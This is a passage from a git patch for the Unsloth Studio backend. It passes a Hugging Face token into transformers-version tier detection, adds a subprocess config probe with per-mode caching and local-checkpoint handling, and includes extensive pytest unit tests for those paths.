  it (no mis-route onto a sidecar); only a config the default parser cannot read
  escalates to the lowest 5.x tier that parses. The transformers_version field is a
  cheap 'worth probing' hint only, read from the already-fetched config (no extra
  network); ordinary 4.x configs never probe.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Separate probe cache by mode and keep version-field 5.x visible to needs_transformers_5

- _probe_tier cache was keyed only by config.json signature, so a default-first probe
  that returned 'default' could be handed back to a later tokenizer/known-5.x caller
  (floor=530), leaving a model with a 5.x-only tokenizer on transformers 4.x. Key the
  cache by probe mode (floor + include_default); the legacy 530 mode keeps the bare key.
- The version-field 5.x detection is a cheap config read, not a probe, so run it even
  when probe=False: a standard-tokenizer model whose only signal is transformers_version
  >= 5 now classifies as 5.x via needs_transformers_5 (returns '530' without spawning a
  probe), so the vision-routing fallback uses the 5.x subprocess instead of failing the
  default parser and marking it non-vision. The real activation path still probes
  default-first and may resolve 'default'.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Don't treat local checkpoints as Hub ids, and fix stale activation test double

- _load_config_json / _check_tokenizer_config_needs_v5: a local checkpoint dir whose
  config.json / tokenizer_config.json is not yet present was being fetched from the Hub
  as if the path were a repo id, and the 404 miss was cached. A later call after the
  file is written (in-progress checkpoint) then served the stale miss, so a
  TokenizersBackend checkpoint fell through to the default tier. Skip the Hub fetch for
  local dirs and do not cache the miss, so the file is read once it appears.
- test_activate_transformers_version_or_warn_*: the worker now threads hf_token into
  _activate_transformers_version (model_name, hf_token); update the one-arg test doubles
  to the real two-arg signature so the silent-success path stays silent.

* Tighten comments in the AutoConfig probe and tier-selection paths

* Address review: canonical probe cache key and reuse _token_cache_key

- _probe_cache_key resolves config.json to its absolute realpath before
  keying, so a relative path or a changed cwd can't collide with or miss a
  prior probe result. Remote ids still fall back to the name (stat raises,
  caught).
- _cached_config_json reuses _token_cache_key instead of re-hashing the
  token inline, keeping the (model, token) key derivation in one place.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/export/worker.py          |   6 +-
 studio/backend/core/inference/worker.py       |   8 +-
 studio/backend/core/training/worker.py        |  12 +-
 .../tests/test_mlx_training_worker_config.py  |   6 +-
 studio/backend/tests/test_ssm_runtime.py      |   2 +-
 .../tests/test_transformers_version.py        | 510 +++++++++++++++++-
 studio/backend/utils/transformers_version.py  | 444 ++++++++++++---
 7 files changed, 876 insertions(+), 112 deletions(-)

diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py
index d504aff7ea..fdaa306e10 100644
--- a/studio/backend/core/export/worker.py
+++ b/studio/backend/core/export/worker.py
@@ -159,7 +159,7 @@ def _setup_log_capture(resp_queue: Any) -> None:
     t_err.start()
 
 
-def _activate_transformers_version(model_name: str) -> None:
+def _activate_transformers_version(model_name: str, hf_token: str | None = None) -> None:
     """Activate the correct transformers version BEFORE any ML imports."""
     # Ensure backend is on sys.path for utils imports.
     backend_path = str(Path(__file__).resolve().parent.parent.parent)
@@ -168,7 +168,7 @@ def _activate_transformers_version(model_name: str) -> None:
 
     from utils.transformers_version import activate_transformers_for_subprocess
 
-    activate_transformers_for_subprocess(model_name)
+    activate_transformers_for_subprocess(model_name, hf_token)
 
 
 def _send_response(resp_queue: Any, response: dict) -> None:
@@ -460,7 +460,7 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None
 
     # ── 1. Activate correct transformers version BEFORE any ML imports ──
     try:
-        _activate_transformers_version(checkpoint_path)
+        _activate_transformers_version(checkpoint_path, config.get("hf_token") or None)
     except Exception as exc:
         _send_response(
             resp_queue,
diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index aa22ce821f..4e27183d88 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -36,13 +36,13 @@ def _ensure_backend_on_path() -> None:
         sys.path.insert(0, _BACKEND_PATH)
 
 
-def _activate_transformers_version(model_name: str) -> None:
+def _activate_transformers_version(model_name: str, hf_token: str | None = None) -> None:
     """Activate the correct transformers version BEFORE any ML imports."""
     _ensure_backend_on_path()
 
     from utils.transformers_version import activate_transformers_for_subprocess
 
-    activate_transformers_for_subprocess(model_name)
+    activate_transformers_for_subprocess(model_name, hf_token)
 
 
 def _decode_image(image_base64: str):
@@ -673,7 +673,7 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
         # Non-fatal: fall through with the installed version, but log the cause
         # instead of swallowing it (issue #6103).
         try:
-            _activate_transformers_version(model_name)
+            _activate_transformers_version(model_name, config.get("hf_token") or None)
         except Exception as exc:
             logger.warning(
                 "Failed to activate transformers version for '%s' (MLX inference); "
@@ -783,7 +783,7 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
 
     # ── 1. Activate transformers version (on the resolved base) BEFORE any ML imports ──
     try:
-        _activate_transformers_version(_base)
+        _activate_transformers_version(_base, _hf_token)
     except Exception as exc:
         _send_response(
             resp_queue,
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 70c3bc9a28..3f020c8abc 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -1049,7 +1049,7 @@ def _ensure_flash_attn_for_long_context(event_queue: Any, max_seq_length: int) -
         _send_status(event_queue, "Continuing without flash-attn")
 
 
-def _activate_transformers_version(model_name: str) -> None:
+def _activate_transformers_version(model_name: str, hf_token: str | None = None) -> None:
     """Activate the correct transformers version BEFORE any ML imports."""
     # Ensure backend is on path for utils imports
     backend_path = str(Path(__file__).resolve().parent.parent.parent)
@@ -1058,10 +1058,10 @@ def _activate_transformers_version(model_name: str) -> None:
 
     from utils.transformers_version import activate_transformers_for_subprocess
 
-    activate_transformers_for_subprocess(model_name)
+    activate_transformers_for_subprocess(model_name, hf_token)
 
 
-def _activate_transformers_version_or_warn(model_name: str) -> None:
+def _activate_transformers_version_or_warn(model_name: str, hf_token: str | None = None) -> None:
     """Activate the required transformers version for the MLX fast-path.
 
     Unlike the non-MLX path (which treats activation failure as fatal and
@@ -1072,7 +1072,7 @@ def _activate_transformers_version_or_warn(model_name: str) -> None:
     is visible, while keeping the fall-through behaviour.
     """
     try:
-        _activate_transformers_version(model_name)
+        _activate_transformers_version(model_name, hf_token)
     except Exception as exc:
         logger.warning(
             "Failed to activate transformers version for '%s' (MLX); "
@@ -2139,7 +2139,7 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
         # Must happen before any transformers/mlx-lm imports in _run_mlx_training.
         # Non-fatal: fall through with whatever version is installed, but log
         # the failure instead of swallowing it (issue #6103).
-        _activate_transformers_version_or_warn(model_name)
+        _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None)
         try:
             _run_mlx_training(event_queue, stop_queue, config)
         except Exception as exc:
@@ -2155,7 +2155,7 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
 
     # ── 1. Activate correct transformers version BEFORE any ML imports ──
     try:
-        _activate_transformers_version(model_name)
+        _activate_transformers_version(model_name, config.get("hf_token") or None)
     except Exception as exc:
         event_queue.put(
             {
diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py
index e55815f512..dce5e27c08 100644
--- a/studio/backend/tests/test_mlx_training_worker_config.py
+++ b/studio/backend/tests/test_mlx_training_worker_config.py
@@ -250,7 +250,7 @@ def test_activate_transformers_version_or_warn_logs_on_failure(monkeypatch):
     )
     monkeypatch.setattr(_worker, "logger", fake_logger)
 
-    def _boom(_name):
+    def _boom(_name, _hf_token = None):
         raise RuntimeError("venv .venv_t5_550 missing")
 
     monkeypatch.setattr(_worker, "_activate_transformers_version", _boom)
@@ -268,7 +268,9 @@ def test_activate_transformers_version_or_warn_silent_on_success(monkeypatch):
         warning = lambda *a, **k: warnings_logged.append((a, k)),
     )
     monkeypatch.setattr(_worker, "logger", fake_logger)
-    monkeypatch.setattr(_worker, "_activate_transformers_version", lambda _name: None)
+    monkeypatch.setattr(
+        _worker, "_activate_transformers_version", lambda _name, _hf_token = None: None
+    )
 
     _worker._activate_transformers_version_or_warn("meta-llama/Llama-3-8B")
 
diff --git a/studio/backend/tests/test_ssm_runtime.py b/studio/backend/tests/test_ssm_runtime.py
index dbf482c8bc..2f6bae9b79 100644
--- a/studio/backend/tests/test_ssm_runtime.py
+++ b/studio/backend/tests/test_ssm_runtime.py
@@ -424,7 +424,7 @@ def test_inference_worker_resolves_remote_lora_base_pre_import():
 def test_inference_worker_tiers_on_base_and_gates_lora_base_only():
     src = (_BACKEND / "core" / "inference" / "worker.py").read_text()
     # Tier activation runs on the resolved base, not the raw adapter id (remote-LoRA fix).
-    assert "_activate_transformers_version(_base)" in src
+    assert "_activate_transformers_version(_base" in src
     # The gate only adds a genuine LoRA base, never a full fine-tune's recorded (unloaded) base.
     assert "_gate_targets" in src and "_lora_base" in src
 
diff --git a/studio/backend/tests/test_transformers_version.py b/studio/backend/tests/test_transformers_version.py
index 5736c9104d..989c6378bd 100644
--- a/studio/backend/tests/test_transformers_version.py
+++ b/studio/backend/tests/test_transformers_version.py
@@ -52,6 +52,9 @@ from utils.transformers_version import (
     _config_needs_510_cache,
     _config_needs_530_cache,
     _config_needs_550_cache,
+    _probe_tier_cache,
+    _probe_tier,
+    _stderr_is_transient,
     needs_transformers_5,
     get_transformers_tier,
     activate_transformers_for_subprocess,
@@ -312,11 +315,45 @@ class TestCheckTokenizerConfigNeedsV5:
         tc = {"tokenizer_class": "TokenizersBackend"}
         (tmp_path / "tokenizer_config.json").write_text(json.dumps(tc))
 
-        key = str(tmp_path)
-        _check_tokenizer_config_needs_v5(key)
+        key = (str(tmp_path), None)
+        _check_tokenizer_config_needs_v5(str(tmp_path))
         assert key in _tokenizer_class_cache
         assert _tokenizer_class_cache[key] is True
 
+    def test_token_cache_isolation_and_auth_fetch(self, monkeypatch):
+        # A gated repo: the unauthenticated miss (cached under (model, None)) must not block a
+        # later authed fetch (separate key), and the token rides in the Authorization header.
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_env_offline", lambda: False)
+        seen_auth = []
+
+        class _Resp:
+            def __init__(self, body):
+                self._b = body
+
+            def read(self):
+                return self._b.encode()
+
+            def __enter__(self):
+                return self
+
+            def __exit__(self, *a):
+                return False
+
+        def fake_urlopen(req, timeout = 10):
+            auth = req.get_header("Authorization")
+            seen_auth.append(auth)
+            if auth:
+                return _Resp(json.dumps({"tokenizer_class": "TokenizersBackend"}))
+            raise OSError("HTTP 401")
+
+        monkeypatch.setattr("urllib.request.urlopen", fake_urlopen)
+        assert _check_tokenizer_config_needs_v5("org/gated") is False  # unauth miss
+        assert _check_tokenizer_config_needs_v5("org/gated", "tok") is True  # authed hit
+        assert seen_auth == [None, "Bearer tok"]
+        assert _tokenizer_class_cache[("org/gated", None)] is False  # miss not poisoning
+
 
 # ---------------------------------------------------------------------------
 # needs_transformers_5 — integration-level
@@ -406,8 +443,8 @@ class TestCheckConfigNeeds550:
         cfg = {"architectures": ["Gemma4ForConditionalGeneration"]}
         (tmp_path / "config.json").write_text(json.dumps(cfg))
 
-        key = str(tmp_path)
-        _check_config_needs_550(key)
+        key = (str(tmp_path), None)
+        _check_config_needs_550(str(tmp_path))
         assert key in _config_needs_550_cache
         assert _config_needs_550_cache[key] is True
 
@@ -506,8 +543,8 @@ class TestCheckConfigNeeds510:
         cfg = {"architectures": ["Gemma4UnifiedForConditionalGeneration"]}
         (tmp_path / "config.json").write_text(json.dumps(cfg))
 
-        key = str(tmp_path)
-        _check_config_needs_510(key)
+        key = (str(tmp_path), None)
+        _check_config_needs_510(str(tmp_path))
         assert key in _config_needs_510_cache
         assert _config_needs_510_cache[key] is True
 
@@ -750,11 +787,11 @@ class TestTierCheckTransientRetry:
         # Network blip -> serve the cache, but do NOT pin the tier result.
         with patch("urllib.request.urlopen", side_effect = OSError("boom")):
             assert _check_config_needs_510("org/model") is False
-        assert "org/model" not in _config_needs_510_cache
+        assert ("org/model", None) not in _config_needs_510_cache
         # Connectivity returns: the next call re-fetches and sees the higher tier.
         with patch("urllib.request.urlopen", return_value = _hf_response(fresh)):
             assert _check_config_needs_510("org/model") is True
-        assert _config_needs_510_cache["org/model"] is True  # definitive read is memoized
+        assert _config_needs_510_cache[("org/model", None)] is True  # definitive read memoized
 
     def test_definitive_network_read_is_memoized(self, tmp_path: Path, monkeypatch):
         fresh = {"architectures": ["Gemma4ForConditionalGeneration"]}  # needs 550
@@ -1037,6 +1074,442 @@ class TestGetTransformersTier:
             assert needs_transformers_5("meta-llama/Llama-3-8B") is False
 
 
+def _proc(returncode, stderr = ""):
+    from types import SimpleNamespace
+    return SimpleNamespace(returncode = returncode, stdout = "", stderr = stderr)
+
+
+class TestProbeTier:
+    """_probe_tier resolves the tier by parsing config in each sidecar and escalating."""
+
+    def setup_method(self):
+        _probe_tier_cache.clear()
+
+    def _patch_common(self, monkeypatch):
+        for fn in (
+            "_ensure_venv_t5_530_exists",
+            "_ensure_venv_t5_550_exists",
+            "_ensure_venv_t5_510_exists",
+        ):
+            monkeypatch.setattr(f"utils.transformers_version.{fn}", lambda: True)
+        monkeypatch.delenv("UNSLOTH_DISABLE_TIER_PROBE", raising = False)
+
+    def _venv_dirs(self):
+        import utils.transformers_version as tv
+        return [tv._VENV_T5_530_DIR, tv._VENV_T5_550_DIR, tv._VENV_T5_510_DIR]
+
+    def test_escalates_to_first_parsing_tier(self, monkeypatch):
+        self._patch_common(monkeypatch)
+        seen = []
+        results = iter([_proc(1, "KeyError: '-'"), _proc(1, "KeyError: '-'"), _proc(0)])
+
+        def fake_run(cmd, **k):
+            seen.append(cmd[3])  # target_dir
+            return next(results)
+
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", fake_run)
+        assert _probe_tier("org/dense-nemotron", None, "x") == "510"
+        assert seen == self._venv_dirs()  # escalated 530 -> 550 -> 510
+
+    def test_first_success_stops_escalation(self, monkeypatch):
+        self._patch_common(monkeypatch)
+        calls = []
+        monkeypatch.setattr(
+            "utils.transformers_version.subprocess.run",
+            lambda cmd, **k: calls.append(cmd[3]) or _proc(0),
+        )
+        assert _probe_tier("org/m", None, "x") == "530"
+        assert len(calls) == 1
+
+    def test_middle_tier_parses(self, monkeypatch):
+        self._patch_common(monkeypatch)
+        results = iter([_proc(1, "ValueError: bad"), _proc(0)])
+        monkeypatch.setattr(
+            "utils.transformers_version.subprocess.run", lambda cmd, **k: next(results)
+        )
+        assert _probe_tier("org/m", None, "x") == "550"
+
+    def test_nothing_parses_stays_530_and_caches(self, monkeypatch):
+        # All tiers probed, none parse -> a remote-code model that loads via its own code;
+        # keep 530 (never jump to 510). Conclusive, so cached by model_name.
+        self._patch_common(monkeypatch)
+        monkeypatch.setattr(
+            "utils.transformers_version.subprocess.run",
+            lambda cmd, **k: _proc(1, "KeyError: '-'"),
+        )
+        assert _probe_tier("org/m", None, "x") == "530"
+        assert _probe_tier_cache["org/m"] == "530"
+
+    def test_partial_sidecars_no_parse_is_530_uncached(self, monkeypatch):
+        # 510 sidecar missing and 530/550 fail to parse -> environment is incomplete, so we
+        # cannot conclude; return 530 uncached so it is retried once 510 is available.
+        monkeypatch.delenv("UNSLOTH_DISABLE_TIER_PROBE", raising = False)
+        for fn in ("_ensure_venv_t5_530_exists", "_ensure_venv_t5_550_exists"):
+            monkeypatch.setattr(f"utils.transformers_version.{fn}", lambda: True)
+        monkeypatch.setattr("utils.transformers_version._ensure_venv_t5_510_exists", lambda: False)
+        monkeypatch.setattr(
+            "utils.transformers_version.subprocess.run",
+            lambda cmd, **k: _proc(1, "KeyError: '-'"),
+        )
+        assert _probe_tier("org/m", None, "x") == "530"
+        assert "org/m" not in _probe_tier_cache
+
+    def test_success_not_cached_when_lower_tier_skipped(self, monkeypatch):
+        # 530 sidecar unavailable but 550 parses: return 550 (best effort now) but do NOT
+        # cache it, since once 530 is installed it may be the lowest valid tier.
+        monkeypatch.delenv("UNSLOTH_DISABLE_TIER_PROBE", raising = False)
+        monkeypatch.setattr("utils.transformers_version._ensure_venv_t5_530_exists", lambda: False)
+        for fn in ("_ensure_venv_t5_550_exists", "_ensure_venv_t5_510_exists"):
+            monkeypatch.setattr(f"utils.transformers_version.{fn}", lambda: True)
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0))
+        assert _probe_tier("org/m", None, "x") == "550"
+        assert "org/m" not in _probe_tier_cache  # skipped a lower tier -> not pinned
+
+    def test_cache_hit_skips_subprocess(self, monkeypatch):
+        self._patch_common(monkeypatch)
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0))
+        assert _probe_tier("org/m", None, "x") == "530"
+
+        def boom(cmd, **k):
+            raise AssertionError("should not re-probe a cached model_name")
+
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", boom)
+        assert _probe_tier("org/m", None, "x") == "530"
+
+    def test_transient_failure_is_530_and_uncached(self, monkeypatch):
+        self._patch_common(monkeypatch)
+        monkeypatch.setattr(
+            "utils.transformers_version.subprocess.run",
+            lambda cmd, **k: _proc(1, "ConnectionError: Max retries exceeded"),
+        )
+        assert _probe_tier("org/m", None, "x") == "530"
+        assert "org/m" not in _probe_tier_cache  # retried next load
+
+    def test_timeout_is_530_and_uncached(self, monkeypatch):
+        import subprocess as _sp
+
+        self._patch_common(monkeypatch)
+
+        def timeout(cmd, **k):
+            raise _sp.TimeoutExpired(cmd, 60)
+
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", timeout)
+        assert _probe_tier("org/m", None, "x") == "530"
+        assert "org/m" not in _probe_tier_cache
+
+    def test_all_venvs_missing_is_530_no_spawn(self, monkeypatch):
+        for fn in (
+            "_ensure_venv_t5_530_exists",
+            "_ensure_venv_t5_550_exists",
+            "_ensure_venv_t5_510_exists",
+        ):
+            monkeypatch.setattr(f"utils.transformers_version.{fn}", lambda: False)
+
+        def boom(cmd, **k):
+            raise AssertionError("no sidecar available; must not spawn")
+
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", boom)
+        assert _probe_tier("org/m", None, "x") == "530"
+        assert "org/m" not in _probe_tier_cache  # nothing probed -> uncached
+
+    def test_probe_does_not_import_hub(self, monkeypatch):
+        # The probe must not import huggingface_hub: that would land before the sidecar is on
+        # sys.path (activation never purges), pinning the default-env hub. So no in-process sha.
+        self._patch_common(monkeypatch)
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0))
+        sys.modules.pop("huggingface_hub", None)
+        _probe_tier("org/m", None, "x")
+        assert "huggingface_hub" not in sys.modules
+
+    def test_disable_flag_skips_probe(self, monkeypatch):
+        monkeypatch.setenv("UNSLOTH_DISABLE_TIER_PROBE", "1")
+
+        def boom(cmd, **k):
+            raise AssertionError("probe disabled; must not spawn")
+
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", boom)
+        assert _probe_tier("org/m", None, "x") == "530"
+
+    def test_get_tier_uses_probe_for_remote_tokenizer_signal(self, monkeypatch):
+        # tokenizer says 5.x but no architecture/substring match -> probe (not a 530 guess).
+        monkeypatch.setattr(
+            "utils.transformers_version._check_config_needs_510", lambda m, t = None: False
+        )
+        monkeypatch.setattr(
+            "utils.transformers_version._check_config_needs_550", lambda m, t = None: False
+        )
+        monkeypatch.setattr(
+            "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: True
+        )
+        monkeypatch.setattr("utils.transformers_version._probe_tier", lambda m, t, reason: "510")
+        assert get_transformers_tier("org/unknown-5x-arch") == "510"
+
+    def test_stderr_is_transient(self):
+        assert _stderr_is_transient("ConnectionError: x") is True
+        assert _stderr_is_transient("GatedRepoError: need token") is True
+        assert _stderr_is_transient("KeyError: '-'") is False
+        assert _stderr_is_transient("ValueError: bad pattern") is False
+
+    def test_get_tier_threads_token_to_checks(self, monkeypatch):
+        # A gated/private model: the token must reach the config/tokenizer checks (and the
+        # probe), otherwise the authed-only signal is missed and it falls to default 4.x.
+        seen = {}
+        monkeypatch.setattr(
+            "utils.transformers_version._check_config_needs_510",
+            lambda m, t = None: seen.update({"510": t}) or False,
+        )
+        monkeypatch.setattr(
+            "utils.transformers_version._check_config_needs_550",
+            lambda m, t = None: seen.update({"550": t}) or False,
+        )
+        monkeypatch.setattr(
+            "utils.transformers_version._check_tokenizer_config_needs_v5",
+            lambda m, t = None: seen.update({"tok": t}) or True,
+        )
+        monkeypatch.setattr(
+            "utils.transformers_version._probe_tier",
+            lambda m, t, reason: seen.update({"probe": t}) or "510",
+        )
+        assert get_transformers_tier("org/gated-5x", "hf_abc") == "510"
+        assert seen == {"510": "hf_abc", "550": "hf_abc", "tok": "hf_abc", "probe": "hf_abc"}
+
+    def test_activate_threads_token_to_tier(self, monkeypatch):
+        # activate_transformers_for_subprocess must forward hf_token to tier detection, or
+        # the gated-model checks above run unauthenticated and the fix is unreachable.
+        seen = {}
+        monkeypatch.setattr("utils.transformers_version._resolve_base_model", lambda m: m)
+        monkeypatch.setattr(
+            "utils.transformers_version.get_transformers_tier",
+            lambda m, t = None: seen.update({"model": m, "token": t}) or "default",
+        )
+        activate_transformers_for_subprocess("org/gated", "hf_xyz")
+        assert seen == {"model": "org/gated", "token": "hf_xyz"}
+
+    def test_local_checkpoint_reprobes_after_config_change(self, monkeypatch, tmp_path):
+        # A local checkpoint overwritten in place must re-probe: the cache key folds in the
+        # config.json signature, so a different config does not serve the stale tier.
+        self._patch_common(monkeypatch)
+        cfg = tmp_path / "config.json"
+        cfg.write_text(json.dumps({"model_type": "a"}))
+        local = str(tmp_path)
+        calls = []
+        monkeypatch.setattr(
+            "utils.transformers_version.subprocess.run",
+            lambda cmd, **k: calls.append(1) or _proc(0),
+        )
+        assert _probe_tier(local, None, "x") == "530"
+        assert _probe_tier(local, None, "x") == "530"  # cache hit, no re-spawn
+        assert len(calls) == 1
+        cfg.write_text(json.dumps({"model_type": "a_longer_value_changing_the_size"}))
+        assert _probe_tier(local, None, "x") == "530"
+        assert len(calls) == 2  # signature changed -> re-probed
+
+    def test_probe_child_enables_implicit_token(self, monkeypatch):
+        # With a token, the probe child must clear an inherited HF_HUB_DISABLE_IMPLICIT_TOKEN=1
+        # so HF_TOKEN authenticates the gated config fetch instead of 401ing to 530.
+        self._patch_common(monkeypatch)
+        monkeypatch.setenv("HF_HUB_DISABLE_IMPLICIT_TOKEN", "1")
+        captured = {}
+
+        def fake_run(cmd, **k):
+            captured.update(k.get("env") or {})
+            return _proc(0)
+
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", fake_run)
+        assert _probe_tier("org/gated", "secret-token", "x") == "530"
+        assert captured.get("HF_TOKEN") == "secret-token"
+        assert captured.get("HF_HUB_DISABLE_IMPLICIT_TOKEN") == "0"
+
+
+class TestProbeGating:
+    """probe=False suppresses sidecar probes (the log-only needs_transformers_5 path); a
+    config saved by transformers 5.x is probed default-first so a new 5.x-only arch is
+    caught without mis-routing a 4.57.x-loadable model onto a sidecar."""
+
+    def setup_method(self):
+        _probe_tier_cache.clear()
+        _config_json_cache.clear()
+        _config_needs_510_cache.clear()
+        _config_needs_550_cache.clear()
+        _tokenizer_class_cache.clear()
+
+    def _patch_venvs(self, monkeypatch):
+        for fn in (
+            "_ensure_venv_t5_530_exists",
+            "_ensure_venv_t5_550_exists",
+            "_ensure_venv_t5_510_exists",
+        ):
+            monkeypatch.setattr(f"utils.transformers_version.{fn}", lambda: True)
+        monkeypatch.delenv("UNSLOTH_DISABLE_TIER_PROBE", raising = False)
+
+    def _patch_checks_to_tokenizer(self, monkeypatch):
+        monkeypatch.setattr(
+            "utils.transformers_version._check_config_needs_510", lambda m, t = None: False
+        )
+        monkeypatch.setattr(
+            "utils.transformers_version._check_config_needs_550", lambda m, t = None: False
+        )
+        monkeypatch.setattr(
+            "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: True
+        )
+
+    # ---- needs_transformers_5 / probe=False must not spawn probes --------------
+
+    def test_needs_transformers_5_does_not_spawn_probe(self, monkeypatch):
+        self._patch_checks_to_tokenizer(monkeypatch)
+
+        def boom(cmd, **k):
+            raise AssertionError("needs_transformers_5 must not spawn a probe")
+
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", boom)
+        # Still correctly reports 5.x from the tokenizer signal, just without probing.
+        assert needs_transformers_5("org/unknown-5x") is True
+
+    def test_probe_false_returns_530_for_tokenizer_signal(self, monkeypatch):
+        self._patch_checks_to_tokenizer(monkeypatch)
+
+        def boom(cmd, **k):
+            raise AssertionError("probe=False must not spawn a probe")
+
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", boom)
+        assert get_transformers_tier("org/unknown-5x", probe = False) == "530"
+
+    # ---- version-field probe is default-first (no mis-routing of 4.x models) ----
+
+    def test_version_field_probe_stays_default_when_default_parses(self, monkeypatch):
+        self._patch_venvs(monkeypatch)
+        monkeypatch.setattr(
+            "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: False
+        )
+        _config_json_cache[("org/new", None)] = {
+            "model_type": "brandnew",
+            "transformers_version": "5.0.0",
+        }
+        seen = []
+        monkeypatch.setattr(
+            "utils.transformers_version.subprocess.run",
+            lambda cmd, **k: seen.append(cmd[3]) or _proc(0),
+        )
+        assert get_transformers_tier("org/new") == "default"
+        assert seen == [""]  # probed the ambient default tier first, it parsed -> stayed default
+
+    def test_version_field_probe_escalates_when_default_fails(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        self._patch_venvs(monkeypatch)
+        monkeypatch.setattr(
+            "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: False
+        )
+        _config_json_cache[("org/new", None)] = {
+            "model_type": "brandnew",
+            "transformers_version": "5.6.0",
+        }
+        results = iter([_proc(1, "KeyError: 'x'"), _proc(1, "KeyError: 'x'"), _proc(0)])
+        seen = []
+        monkeypatch.setattr(
+            "utils.transformers_version.subprocess.run",
+            lambda cmd, **k: seen.append(cmd[3]) or next(results),
+        )
+        assert get_transformers_tier("org/new") == "550"
+        assert seen == ["", tv._VENV_T5_530_DIR, tv._VENV_T5_550_DIR]
+
+    def test_ordinary_4x_config_does_not_probe(self, monkeypatch):
+        self._patch_venvs(monkeypatch)
+        monkeypatch.setattr(
+            "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: False
+        )
+        _config_json_cache[("org/llama", None)] = {
+            "model_type": "llama",
+            "transformers_version": "4.57.0",
+        }
+
+        def boom(cmd, **k):
+            raise AssertionError("a 4.x-saved config must not trigger a probe")
+
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", boom)
+        assert get_transformers_tier("org/llama") == "default"
+
+    def test_needs_transformers_5_true_for_version_field_only(self, monkeypatch):
+        # A 5.x-saved standard-tokenizer model must report as 5.x (for vision routing)
+        # without spawning a probe.
+        monkeypatch.setattr(
+            "utils.transformers_version._check_config_needs_510", lambda m, t = None: False
+        )
+        monkeypatch.setattr(
+            "utils.transformers_version._check_config_needs_550", lambda m, t = None: False
+        )
+        monkeypatch.setattr(
+            "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: False
+        )
+        _config_json_cache[("org/new", None)] = {
+            "model_type": "brandnew",
+            "transformers_version": "5.2.0",
+        }
+
+        def boom(cmd, **k):
+            raise AssertionError("needs_transformers_5 must not spawn a probe")
+
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", boom)
+        assert needs_transformers_5("org/new") is True
+
+    def test_default_first_result_not_reused_for_tokenizer_path(self, monkeypatch, tmp_path):
+        # A default-first probe can cache "default"; a later tokenizer/known-5.x call
+        # (floor=530) must re-probe, not reuse that "default".
+        self._patch_venvs(monkeypatch)
+        (tmp_path / "config.json").write_text(
+            json.dumps({"model_type": "brandnew", "transformers_version": "5.0.0"})
+        )
+        local = str(tmp_path)
+        monkeypatch.setattr("utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0))
+        assert (
+            _probe_tier(local, None, "version", include_default = True, floor = "default") == "default"
+        )
+        seen = []
+        monkeypatch.setattr(
+            "utils.transformers_version.subprocess.run",
+            lambda cmd, **k: seen.append(cmd[3]) or _proc(0),
+        )
+        # Tokenizer/known-5.x mode (floor=530): must re-probe and never reuse "default".
+        assert _probe_tier(local, None, "tokenizer needs 5.x") == "530"
+        assert seen, "tokenizer path reused the cached default result instead of re-probing"
+
+
+class TestLocalCheckpointFilesAppear:
+    """A local checkpoint dir inspected before its files exist must not cache the miss or hit
+    the network, so files written later in the same process are still read (in-progress
+    checkpoints)."""
+
+    def setup_method(self):
+        _tokenizer_class_cache.clear()
+        _config_json_cache.clear()
+
+    def test_tokenizer_config_appearing_later_is_read(self, tmp_path: Path, monkeypatch):
+        local = str(tmp_path)
+
+        def boom(*a, **k):
+            raise AssertionError("a local checkpoint must not be fetched from the Hub")
+
+        monkeypatch.setattr("urllib.request.urlopen", boom)
+        # Before the file exists: not 5.x, no network, and the miss must not be pinned.
+        assert _check_tokenizer_config_needs_v5(local) is False
+        # The file appears with a 5.x-only tokenizer -> the next call must read it.
+        (tmp_path / "tokenizer_config.json").write_text(
+            json.dumps({"tokenizer_class": "TokenizersBackend"})
+        )
+        assert _check_tokenizer_config_needs_v5(local) is True
+
+    def test_config_json_appearing_later_is_read(self, tmp_path: Path, monkeypatch):
+        local = str(tmp_path)
+
+        def boom(*a, **k):
+            raise AssertionError("a local checkpoint must not be fetched from the Hub")
+
+        monkeypatch.setattr("urllib.request.urlopen", boom)
+        assert _load_config_json(local) is None
+        (tmp_path / "config.json").write_text(json.dumps({"model_type": "gemma4"}))
+        assert _load_config_json(local) == {"model_type": "gemma4"}
+
+
 # ---------------------------------------------------------------------------
